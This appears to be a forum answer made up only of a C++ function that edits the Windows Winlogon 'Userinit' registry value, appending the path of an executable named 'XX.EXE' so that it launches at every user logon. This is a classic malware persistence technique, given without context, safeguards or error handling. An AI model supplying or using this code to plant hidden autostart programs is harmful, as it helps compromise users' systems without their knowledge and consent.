Answer 1

void SetReg()
{
HKEY m_hKey;
char m_ScrValue[MAX_PATH] = {0};
DWORD m_lpData,dwValueType;
dwValueType = REG_SZ;

char m_ProPath[MAX_PATH] = {0};
::SHGetSpecialFolderPath(NULL,m_ProPath,0x002D,FALSE);
strcat(m_ProPath,"\\XX.EXE,");

::RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&m_hKey);
::RegQueryValueEx(m_hKey,"Userinit",0,0,0,&m_lpData);
::RegQueryValueEx(m_hKey,"Userinit",0,&dwValueType,(LPBYTE)m_ScrValue,&m_lpData);
//OutputDebugString(m_ScrValue);

strcat(m_ScrValue,m_ProPath);

RegSetValueEx(m_hKey,"Userinit",0,REG_SZ,(CONST BYTE*)m_ScrValue,strlen(m_ScrValue));
RegCloseKey(m_hKey);

return;
}
